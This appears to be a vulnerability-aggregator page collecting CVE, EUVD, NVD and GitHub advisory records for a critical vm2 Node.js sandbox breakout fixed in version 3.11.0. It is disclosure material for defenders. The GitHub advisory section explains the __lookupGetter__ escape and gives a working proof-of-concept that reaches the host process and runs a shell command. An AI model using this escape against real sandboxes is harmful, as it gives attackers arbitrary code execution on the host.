VM2 Sandbox Breakout Through __lookupGetter__

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.

Source published

4 May 2026 16:28:43 UTC

Source modified

15 Jul 2026 01:17:29 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.

Source published

May 4, 2026, 4:28:43 PM (timezone not stated)

Source modified

Jul 15, 2026, 1:17:29 AM (timezone not stated)

Observed here

7 Nov 2026 05:31:44 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.

Source published

4 May 2026 17:16:21 UTC

Source modified

26 Oct 2026 19:10:00 UTC

Observed here

27 Oct 2026 06:23:38 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `__lookupGetter__` method allows to read the getter of an object. It is special in VM2 since it will switch between the host and sandbox version of the method when passed to the other context. This allows to access getters on an object in the host context if the method is called from the host context which can be achieved by using the host `apply` method which can be accessed through `Buffer.apply`. Afterwards, this function can be used to call the host version of `__lookupGetter__` with `Buffer` and `__proto__` resulting in the prototype lookup method from the host context. With this method the hosts `Function.prototype` object can be retrieved and the host `Function` acquired through the `constructor` property which allows to create and run code in the host context. This issue was attempted to be fixed with https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/bridge.js#L427. However, this can be circumvented by using `Object.getOwnPropertyDescriptor` to get the `constructor` property. ### PoC The following code demonstrates this issue by acquiring the host process object and executing `touch pwned`. ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` const g = ({}).__lookupGetter__; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['__proto__']]); Object.getOwnPropertyDescriptor(p.call(a),'constructor').value('return process')().mainModule.require('child_process').execSync('touch pwned'); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Source published

4 May 2026 16:29:15 UTC

Source modified

4 Nov 2026 03:45:10 UTC

Observed here

4 Nov 2026 03:57:35 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL